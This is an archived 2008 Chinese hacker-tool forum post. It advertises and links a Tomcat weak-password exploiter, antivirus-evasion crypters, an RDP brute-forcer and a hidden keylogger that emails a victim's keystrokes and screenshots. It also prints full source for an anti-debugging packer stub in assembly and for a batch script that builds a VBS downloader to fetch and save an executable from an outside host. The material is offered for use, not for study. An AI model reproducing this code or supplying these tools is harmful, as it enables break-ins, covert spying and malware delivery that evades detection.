岁月联盟 - 技术社区 - BBS.SYUE.COM's Archiver

资源分享 发表于 2008-7-14 17:52

[07.15]黑客精品软件更新[软件兵器库整理]

[color=#FF0000][size=3]友情提示:[/size][/color]

1. 此更新合集由软件兵器库整理,[color=#0000FF]图片上传到免费空间,可能观看速度有些慢,请耐心等待下或者刷新下[/color]!

2. 所有软件均来自网络,我们保证您下载的软件无任何捆绑,至于有无后门请自行检测!

3. 软件上传于免费网盘, 点击进入下载地址后即可下载.支持讯雷高速下载!

4. 对于使用工具造成的一切违法行为一律与本站无关!

5. 欢迎访问软件兵器库 专注收集更新国内外最新黑软! 地址: [url]www.286hacktools.cn[/url]

6. 关于无法打开某些VB的免杀软件.捆绑器等等 请看: http://www.286hacktools.cn/read.php?tid=755



[img]http://img1.ylmf.com/attachment/Day_080410/148_250883_9a5a7116518b778.gif[/img]

[quote]

[color=#66CC00][size=2]今日更新列表:[/size][/color]

[color=#FF0000]1. [扫描入侵]Tomcat弱口今利用工具

2. [免杀软件] S.Crypter

3. [免杀软件] WL-Crypt 1.0 LiQuid.Ace

4. [入侵辅助] Asp记录助手1.0

5. [入侵辅助] av0day版3389爆破工具

6. [木马后门] 金牌监视狗 3.7.3

7. [程序源代码] 海雨天风壳源代码

8. [程序源代码] 界面清爽VB版高级专业防火墙[源代码]

9. [其他黑软] 批处理潜行者2.0

10. [程序源代码] vbs下载者[/color]

[/quote]

[img]http://img1.ylmf.com/attachment/Day_080410/148_250883_9a5a7116518b778.gif[/img]

[quote]

1. [color=#FF0000]Tomcat弱口今利用工具 [/color]

软件大小: 454 KB
软件说明:

TOMCAT弱口今利用工具 请将S扫描放在同一目录 此软件版本只针对tomcat 5.0 以上版本 不自动修复弱口令。


程序截图:
[img]http://ac.uu1001.com/uu_0807_3/hacktools_6_1_11692c94b0b429d.jpg[/img]

[url=http://webdisk.cech.com.cn/download/file_share_12007571.html][color=#0000FF][size=4]点击进入下载页面[/size][/color][/url]

2. [color=#FF0000]S.Crypter [/color]

软件大小: 29 kb
软件说明:

最新出的免杀软件,大家测试下效果吧~~



程序截图:

[img]http://ac.uu1001.com/uu_0807_3/hacktools_8_1_f4531d4d97bff6d.jpg[/img]

[url=http://dd.uu1001.com/download.php?predomain=hacktools&host=www.286hacktools.cn&pid=tpc&tid=1179&aid=1456&down_hash=eiNVb3dAKHltVVAoek8BcXBOUTMmdmxVJH5%2BMSUyDH8gdwBwbzIcVW5mCVl8DlRe][color=#0000FF][size=4]点击进入下载页面[/size][/color][/url]

3. [color=#FF0000]WL-Crypt 1.0 LiQuid.Ace [/color]

软件大小: 277 KB
软件说明:

ms记得发过,但没找到。效果自测吧,应该过些杀软~

程序截图:
[img]http://ac.uu1001.com/uu_0807_3/hacktools_8_1_a5555e8e5d07062.gif[/img]

[url=http://webdisk.cech.com.cn/download/file_share_12008071.html][color=#0000FF][size=4]点击进入下载页面[/size][/color][/url]

4. [color=#FF0000]Asp记录助手1.0 [/color]

软件大小: 10 KB
软件说明:

http://www.***.com/index.asp?action=

在网址后的部分为:
add&username=xxx&password=xxx&ip=xxx //添加访问

del&del_ip=xxx //删除来源(del_ip)是xxx的访问

show&time=xxx //xxx为now时显示当天访问,其他是显示xxx时间以来所有访问

单独用add,del,show 时
为插入IP,删除来自127.0.0.1的访问,显示所有访问


数据库中有表log,列username,password,addr,ip,logtime
addr 为由web端捕捉到的ip地址
ip 为提交的ip地址

程序截图:
[img]http://ac.uu1001.com/uu_0807_3/hacktools_7_1_d1d756a51ec94d0.jpg[/img]

[url=http://dd.uu1001.com/download.php?predomain=hacktools&host=www.286hacktools.cn&pid=tpc&tid=1175&aid=1448&down_hash=eiNVb3dAKHltVVAoek8BcXBOUTMmdmxVJH5%2BMSUyDH8gdwBwbzIcVW5mCVl8DlRe][color=#0000FF][size=4]点击进入下载页面[/size][/color][/url]

5. [color=#FF0000]av0day版3389爆破工具 [/color]
软件大小: 1363 KB
软件说明:

一款3889密码爆破工具,可以帮你更方面的猜解主机的密码。

程序截图:
[img]http://ac.uu1001.com/uu_0807_3/hacktools_7_1_897ef9d8e647751.jpg[/img]

[url=http://webdisk.cech.com.cn/download/file_share_12007481.html][color=#0000FF][size=4]点击进入下载页面[/size][/color][/url]

[/quote]

[img]http://img1.ylmf.com/attachment/Day_080410/148_250883_9a5a7116518b778.gif[/img]

[quote]

6. [color=#FF0000]金牌监视狗 3.7.3 [/color]
软件大小: 1771 KB
软件说明:

金牌监视狗V3.7.2试用版是一款的系统监控软件。它可以记录计算机使用者的鼠标消息、键盘输入、屏幕截图、上网记录,并将记录信息发送到指定的邮箱.支持windows 2000,xindows XP,windows 2003中文操作系统及英文操作系统

1:运行方式:隐藏窗口运行.
2.开机自动运行
3:键盘鼠标记录:记录电脑使用者的键盘记录.支持汉字/英文/支持各种输入法.
4:屏幕截图:根据个人设置,定时的对电脑屏幕进行图片截取.截图清晰,占据硬盘空间小
5:上网记录:记录电脑上网的网址/网页名称/访问时间/访问域/访问总计时
6:邮箱设置:您可以设置邮箱的功能,将键盘记录及上网记录发送到您指定邮箱.邮箱设置,请参见帮助或本站的常见问题解答
7.支持热键启动和非热键启动
8:本软件提供密码保护:初始密码为888888, 进入主界面后,请及时修改密码.
9.记录隐藏,记录隐藏导出、备份等功能
10.导出的文字记录文件和Web记录文件用Word/写字板/记事本等打开即可
11.3.7.2版本为全新升级版操作方便、简略,功能强大

程序截图:
[img]http://ac.uu1001.com/uu_0807_3/hacktools_10_1_fbbdc3dab82763e.jpg[/img]

[url=http://webdisk.cech.com.cn/download/file_share_12007701.html][color=#0000FF][size=4]点击进入下载页面[/size][/color][/url]

7. [color=#FF0000]海雨天风壳源代码[/color]
软件大小: 0 KB
软件说明:

include win32.inc
.586
.model flat,stdcall
locals

extrn _wsprintfA:proc,MessageBoxA:proc,ExitProcess:proc,IsDebuggerPresent:proc
extrn ReleaseDC:proc,GetDC:proc,TextOutA:proc,GetTickCount:proc

OLD_TICK_COUNT    equ 072h
GET_TICK_COUNT    equ 0c1h
IS_DBG_PRESENT    equ 034h
EXIT_PROCESS    equ 0a7h

XX        equ 12345678h

.data

PCStart:
    nop
@@PCStartRVA:
    pushad
    call    GetRVAOffset,offset @@KillIDA
    jmp    eax
@@KillIDA:   
    ;//定位GetProcAddress函数
    ;db    0ebh,001h,0e8h;//乱码样版
    sub    esp,100h
    mov    ebp,esp
    db    0ebh,001h,0e8h;//乱码样版
    mov    ebx,[ebp+100h+8*4]
@@RepScanGPA:
    dec    ebx
    db    0ebh,001h,0e8h;//乱码样版
    call    GetPEOffset,ebx
    mov    ebx,eax
    xor    esi,esi
    db    0ebh,001h,0e8h;//乱码样版
@@RepScanGPAName:
    inc    esi
    call    GetGPANameByIndex,ebx,esi
    or    eax,eax
    db    0ebh,001h,0e8h;//乱码样版
    jz    short @@RepScanGPA
    mov    edi,eax
    call    GetGPAString
    db    0ebh,001h,0e8h;//乱码样版
    mov    edx,eax
    call    CompareMemory,edi,edx,15
    or    eax,eax
    jnz    short @@RepScanGPAName
    db    0ebh,001h,0e8h;//乱码样版
    call    GetGPARVAByIndex,ebx,esi
    mov    esi,eax
    ;//ebx=Kernel32 Base;esi=GetProcAddress
   
    ;//定位其他API函数
    db    0ebh,001h,0e8h;//乱码样版
    call    GetGTCString
    call    esi,ebx,eax
    mov    [ebp+GET_TICK_COUNT],eax
    db    0ebh,001h,0e8h;//乱码样版   
    call    GetIDPString
    call    esi,ebx,eax
    mov    [ebp+IS_DBG_PRESENT],eax
    db    0ebh,001h,0e8h;//乱码样版
    call    GetEXPString
    call    esi,ebx,eax
    mov    [ebp+EXIT_PROCESS],eax
   
    ;//Save Old TickCount
    call    [ebp+GET_TICK_COUNT]
    mov    [ebp+OLD_TICK_COUNT],eax
    db    0ebh,001h,0e8h;//乱码样版

    ;//Seh  Check
    call    SetSehFrame,offset @@SehCheckContinue
    xor    eax,eax
    db    0ebh,001h,0e8h;//乱码样版
    div    eax
    ret
@@SehCheckContinue:
    call    ClsSehFrame

    ;//Calc Old Entry RVA
    db    0ebh,001h,0e8h;//乱码样版
    call    GetRVAOffset,offset PCStart
    mov    ebx,eax
    call    GetRVAOffset,offset RRVAEIP
    db    0ebh,001h,0e8h;//乱码样版
    add    ebx,[eax]
    call    GetRVAOffset,offset JRVAEIP
    mov    [eax],ebx
    db    0ebh,001h,0e8h;//乱码样版

    ;//Time Limit Check And Debug Check
    call    [ebp+GET_TICK_COUNT]
    cmp    [ebp+OLD_TICK_COUNT],eax
    db    0ebh,001h,0e8h;//乱码样版
    ja    @@ExitProcess;
    sub    eax,1000
    cmp    [ebp+OLD_TICK_COUNT],eax
    db    0ebh,001h,0e8h;//乱码样版
    jb    @@ExitProcess;
    call    [ebp+IS_DBG_PRESENT]
    or    eax,eax
    jnz    @@ExitProcess;
    db    0ebh,001h,0e8h;//乱码样版

    ;//恢复堆栈执行原始程序
    add    esp,100h
    popad   
    db    0ebh,001h,0e8h;//乱码样版
    jmp    JmpOldEIP
@@ExitProcess:
    call    [ebp+EXIT_PROCESS],0


;//得到相对地址
GetRVAOffset proc AddressWORD
    db    0ebh,001h,0e8h;//乱码样版
    call    @@PushRVAOffset
@@PushRVAOffset:
    pop    eax
    sub    eax,offset @@PushRVAOffset
    db    0ebh,001h,0e8h;//乱码样版
    add    eax,Address
    ret
GetRVAOffset endp

;//建立SEH过滤
SetSehFrame:    ;SafeEip Change eax ecx edx
    pop    edx
    pop    ecx;//Pop Param Safe Eip
    call    GetRVAOffset,ecx
    db    0ebh,001h,0e8h;//乱码样版
    mov    ecx,eax
    call    GetRVAOffset,offset Exception
    push    eax
    db    0ebh,001h,0e8h;//乱码样版
    push    fs:dword ptr[0];//Push Old Seh Frame
    mov    fs:dword ptr[0],esp
    call    GetRVAOffset,offset SafeEIP
    db    0ebh,001h,0e8h;//乱码样版
    push    dword ptr[eax];//Push Old Safe Eip
    mov    dword ptr[eax],ecx;//Set Safe Eip
    call    GetRVAOffset,offset SafeESP
    db    0ebh,001h,0e8h;//乱码样版
    push    dword ptr[eax];//Push Old Safe Esp
    sub    esp,100h;//Sub Safe Stack Space Size
    mov    dword ptr[eax],esp;//Set Safe Esp
    db    0ebh,001h,0e8h;//乱码样版
    jmp    edx

;//清除SEH过滤
ClsSehFrame:    ;Change ecx edx,Not change eax
    pop    edx
    mov    ecx,eax
    db    0ebh,001h,0e8h;//乱码样版
    call    GetRVAOffset,offset SafeESP
    mov    esp,[eax];//Get Safe Esp
    add    esp,100h;//Add Safe Stack Sapce Size
    db    0ebh,001h,0e8h;//乱码样版
    pop    dword ptr[eax];//Pop Old Safe Esp
    call    GetRVAOffset,offset SafeEIP
    pop    dword ptr[eax];//Pop Old Safe Eip
    pop    fs:dword ptr[0];//Pop Old Seh Frame
    db    0ebh,001h,0e8h;//乱码样版
    pop    eax;//Pop Exception
    mov    eax,ecx
    db    0ebh,001h,0e8h;//乱码样版
    jmp    edx

;//SEH意外处理,记录错误
Exception proc  uses ebx esi edi,RecordWORD,FrameWORD,Context:DWORD,Dispatch:DWORD
    mov    edx,Context
    call    GetRVAOffset,offset SafeESP
    db    0ebh,001h,0e8h;//乱码样版
    mov    eax,[eax]
    mov    dword ptr[edx.cx_Esp],eax
    call    GetRVAOffset,offset SafeEIP
    db    0ebh,001h,0e8h;//乱码样版
    mov    eax,[eax]
    mov    dword ptr[edx.cx_Eip],eax
    xor    eax,eax;忽略错误继续执行
    db    0ebh,001h,0e8h;//乱码样版
    ret
Exception endp

;//比较字符串
CompareMemory proc uses ebx esi edi,Src:DWORD,Des:DWORD,Size:DWORD
    db    0ebh,001h,0e8h;//乱码样版
    call    SetSehFrame,offset @@NotSame
    mov    esi,Src
    mov    edi,Des
    db    0ebh,001h,0e8h;//乱码样版
    mov    ecx,Size
    cld
    rep    cmpsb
    db    0ebh,001h,0e8h;//乱码样版
    mov    ebx,ecx
    call    ClsSehFrame
    mov    eax,ebx
    db    0ebh,001h,0e8h;//乱码样版
    ret
@@NotSame:
    call    ClsSehFrame
    mov    eax,-1
    ret
CompareMemory endp

;//字符解密
EncodeString proc uses ebx esi edi,PChar:DWORD,Size:DWORD
    db    0ebh,001h,0e8h;//乱码样版
    mov    ecx,Size
    mov    esi,PChar
    db    0ebh,001h,0e8h;//乱码样版
@@ContEncode:
    xor    [esi],dword ptr XX
    add    esi,4
    db    0ebh,001h,0e8h;//乱码样版
    loop    short @@ContEncode
    db    0ebh,001h,0e8h;//乱码样版
    ret
EncodeString endp

;//得到GetProcAddress字符串指针
GetGPAString proc uses ebx
    db    0ebh,001h,0e8h;//乱码样版
    call    @@PushGetProcAddressStr
    dd    'PteG' xor XX,'Acor' xor XX,'erdd' xor XX,'ss' xor XX
@@PushGetProcAddressStr:
    pop    ebx
    cmp    [ebx],word ptr 'eG'
    jz    short @@HasEncode
    db    0ebh,001h,0e8h;//乱码样版
    call    EncodeString,ebx,4
@@HasEncode:
    mov    eax,ebx
    db    0ebh,001h,0e8h;//乱码样版
    ret
GetGPAString endp

GetGTCString proc uses ebx
    db    0ebh,001h,0e8h;//乱码样版
    call    @@PushGetTickCountStr
    dd    'TteG' xor XX,'Ckci' xor XX,'tnuo' xor XX,0
@@PushGetTickCountStr:
    pop    ebx
    db    0ebh,001h,0e8h;//乱码样版
    cmp    [ebx],word ptr'eG'
    jz    short @@HasEncode
    call    EncodeString,ebx,3
@@HasEncode:
    mov    eax,ebx
    db    0ebh,001h,0e8h;//乱码样版
    ret   
GetGTCString endp

GetIDPString proc uses ebx
    db    0ebh,001h,0e8h;//乱码样版
    call    @@PushIsDebugPresent
    dd    'eDsI' xor XX,'ggub' xor XX,'rPre' xor XX,'nese' xor XX,'t' xor XX
@@PushIsDebugPresent:
    pop    ebx
    cmp    [ebx],word ptr 'sI'
    jz    short @@HasEncode
    db    0ebh,001h,0e8h;//乱码样版
    call    EncodeString,ebx,5
@@HasEncode:
    mov    eax,ebx
    db    0ebh,001h,0e8h;//乱码样版
    ret
GetIDPString endp

GetEXPString proc uses ebx
    db    0ebh,001h,0e8h;//乱码样版
    call    @@PushExitProcessString
    dd    'tixE' xor XX,'corP' xor XX,'sse' xor XX
@@PushExitProcessString:
    pop    ebx
    cmp    [ebx],word ptr 'xE'
    jz    short @@HasEncode
    db    0ebh,001h,0e8h;//乱码样版
    call    EncodeString,ebx,3
@@HasEncode:
    mov    eax,ebx
    db    0ebh,001h,0e8h;//乱码样版
    ret
GetEXPString endp

;//搜索PE头
GetPEOffset proc uses ebx esi edi,MZOffset:DWORD   
    db    0ebh,001h,0e8h;//乱码样版
    call    SetSehFrame,offset @@RepScanPEOffset
    mov    ebx,MZOffset
@@RepScanPEOffset:
    dec    ebx
    and    bx,0f000h   
    db    0ebh,001h,0e8h;//乱码样版
    movzx    eax,word ptr[ebx]
    xor    eax,XX
    cmp    eax,dword ptr 'ZM' xor XX
    db    0ebh,001h,0e8h;//乱码样版   
    jnz    short @@RepScanPEOffset
    movzx    esi,[ebx+PeHeadOffset]
    add    esi,ebx
    db    0ebh,001h,0e8h;//乱码样版
    movzx    eax,word ptr[esi]
    xor    eax,XX
    cmp    eax,dword ptr 'EP' xor XX
    db    0ebh,001h,0e8h;//乱码样版   
    jnz    short @@RepScanPEOffset
    call    ClsSehFrame
    mov    eax,ebx
    db    0ebh,001h,0e8h;//乱码样版
    ret
GetPEOffset endp

;//从MZ/PE文件中得到GPA名字
GetGPANameByIndex proc uses ebx esi edi,MZOffset:DWORD,Index:DWORD
    db    0ebh,001h,0e8h;//乱码样版
    call    SetSehFrame,offset @@NotFound
    mov    ebx,MZOffset
    movzx    ecx,[ebx+PeHeadOffset]
    add    ecx,ebx   
    db    0ebh,001h,0e8h;//乱码样版
    mov    esi,[ecx.peExportsRVA]
    add    esi,ebx
    mov    edi,[esi.etExportNameList]
    db    0ebh,001h,0e8h;//乱码样版
    add    edi,ebx
    mov    ecx,Index
    cmp    ecx,[esi.etExportNameSum]
    db    0ebh,001h,0e8h;//乱码样版
    jae    short @@NotFound
    mov    edi,[edi+ecx*4]
    add    edi,ebx
    db    0ebh,001h,0e8h;//乱码样版
    or    eax,[edi];//Test
    or    eax,[edi+15];//Test
    call    ClsSehFrame
    db    0ebh,001h,0e8h;//乱码样版
    mov    eax,edi
    db    0ebh,001h,0e8h;//乱码样版
    ret
@@NotFound:
    call    ClsSehFrame
    xor    eax,eax
    db    0ebh,001h,0e8h;//乱码样版
    ret
GetGPANameByIndex endp

;//得到GPA地址
GetGPARVAByIndex proc uses ebx esi edi,MZOffset:DWORD,Index:DWORD
    db    0ebh,001h,0e8h;//乱码样版
    call    GetRVAOffset,offset @@NotFound
    call    SetSehFrame,eax
    db    0ebh,001h,0e8h;//乱码样版
    mov    ebx,MZOffset
    movzx    ecx,[ebx+PeHeadOffset]
    db    0ebh,001h,0e8h;//乱码样版
    add    ecx,ebx   
    mov    esi,[ecx.peExportsRVA]
    add    esi,ebx
    db    0ebh,001h,0e8h;//乱码样版
    mov    ecx,Index
    cmp    ecx,[esi.etExportAddrSum]
    jae    short @@NotFound
    db    0ebh,001h,0e8h;//乱码样版
    mov    edi,[esi.etExportOrdlList]
    add    edi,ebx
    db    0ebh,001h,0e8h;//乱码样版
    movzx    ecx,word ptr[edi+ecx*2]
    cmp    ecx,[esi.etExportAddrSum]
    jae    short @@NotFound
    db    0ebh,001h,0e8h;//乱码样版
    mov    edi,[esi.etExportAddrList]
    add    edi,ebx
    db    0ebh,001h,0e8h;//乱码样版
    mov    edi,[edi+ecx*4]
    db    0ebh,001h,0e8h;//乱码样版
    add    edi,ebx
    or    eax,[edi];//Test
    call    ClsSehFrame
    db    0ebh,001h,0e8h;//乱码样版
    mov    eax,edi
    ret
@@NotFound:
    call    ClsSehFrame
    xor    eax,eax
    db    0ebh,001h,0e8h;//乱码样版
    ret
GetGPARVAByIndex endp

JmpOldEIP:
    db    068h
JRVAEIP    dd    ?
    db    0c3h
RRVAEIP dd    -1000h
SafeESP    dd    ?
SafeEIP    dd    ?


PCEnd:
    MsgFmt    db 'RRVAIP:%X,Size:%x',0
    MsgBuf    db 256 dup(?);


8. [color=#FF0000]界面清爽VB版高级专业防火墙[源代码] [/color]

软件大小: 996 KB
软件说明:

支持监控包括TCP传输控制协议和 UDP 的所有的互联网传输协议。同时程序具有实时文件防修改监控功能,可以杜绝其他程序对主要系统文件的修改,而且你可以进行一键还原。同时和一些商业版的防火墙一样,支持以IP地址和端口的规则设置。可以自动屏蔽一些端口,系统提供了人性化的温馨入侵提示,如告诉你危险程序,是否安全以及等级等等。
    该防火墙还具有检测你的网络速度,可以实时查看每一个连接IP的网速,最主要的是非常快速并且稳定,希望有志于防火墙研究的程序爱好者能以此为基础做出更好的VB版防火墙大餐!


程序截图:

[img]http://ab.uu1001.com/uu/uu_0806_1/hacktools_12_1_c156e26669a9767.gif[/img]

[url=http://webdisk.cech.com.cn/download/file_share_12020311.html][color=#0000FF][size=4]点击进入下载页面[/size][/color][/url]

9. [color=#FF0000]批处理潜行者2.0[/color]
软件大小: 404 KB
软件说明:

感谢大家对‘吞噬者批处理编写器‘的支持,并感谢一些热心朋友们对’批处
理潜行者‘检测BUG,现将暴露BAT源码BUG修复(老K制作,在XP、2K环境下调
试无问题)
主要功能介绍:
1、支持ResScope改图标(ResScope百度很多网站可下)。
2、支持Unicode加密乱码批处理。
3、支持无窗口后台执行,适合无Pause或选择及一次性完成的BAT。
4、增强反编译EXE暴露批处理原码。(新增)

程序截图:
[img]http://ab.uu1001.com/uu/uu_0806_3/hacktools_23_1_9410f042297b786.jpg[/img]

[url=http://www.live-share.com/files/327663/______2.0.rar.html][color=#0000FF][size=4]点击进入下载页面[/size][/color][/url]

10. [color=#FF0000]vbs下载者[/color]
软件大小: 0 KB
软件说明:


@echo off
set file="http://hacktools.uu1001.com/file.exe"
set dlto="C:\"
::----------------

if exist %temp%\dl.vbs del /q %temp%\dl.vbs
echo HTTPDownload %file%,%dlto% >> %temp%\dl.vbs
echo Sub HTTPDownload( myURL, myPath ) >> %temp%\dl.vbs
echo Dim i, objFile, objFSO, objHTTP, strFile, strMsg >> %temp%\dl.vbs
echo Const ForReading = 1, ForWriting = 2, ForAppending = 8 >> %temp%\dl.vbs
echo Set objFSO = CreateObject( "Scripting.FileSystemObject" ) >> %temp%\dl.vbs
echo If objFSO.FolderExists( myPath ) Then >> %temp%\dl.vbs
echo strFile = objFSO.BuildPath( myPath, Mid( myURL, InStrRev( myURL, "/" ) + 1 ) ) >> %temp%\dl.vbs
echo ElseIf objFSO.FolderExists( Left( myPath, InStrRev( myPath, "\" ) - 1 ) ) Then >> %temp%\dl.vbs
echo strFile = myPath >> %temp%\dl.vbs

echo Else >> %temp%\dl.vbs
echo Exit Sub >> %temp%\dl.vbs
echo End If >> %temp%\dl.vbs
echo Set objFile = objFSO.OpenTextFile( strFile, ForWriting, True ) >> %temp%\dl.vbs
echo Set objHTTP = CreateObject( "WinHttp.WinHttpRequest.5.1" ) >> %temp%\dl.vbs
echo objHTTP.Open "GET", myURL, False >> %temp%\dl.vbs
echo objHTTP.Send >> %temp%\dl.vbs
echo For i = 1 To LenB( objHTTP.ResponseBody ) >> %temp%\dl.vbs
echo objFile.Write Chr( AscB( MidB( objHTTP.ResponseBody, i, 1 ) ) ) >> %temp%\dl.vbs
echo Next >> %temp%\dl.vbs
echo objFile.Close( ) >> %temp%\dl.vbs
echo End Sub >> %temp%\dl.vbs

start %temp%\dl.vbs

文件下载地址自己更换: set file="http://hacktools.uu1001.com/file.exe"



[/quote]

[img]http://img1.ylmf.com/attachment/Day_080410/148_250883_9a5a7116518b778.gif[/img]

211314 发表于 2008-7-14 18:03

哈哈,替大家谢谢你了,这么坚持…

页: [1]

Powered by Discuz! Archiver 6.1.0  © 2001-2007 Comsenz Inc.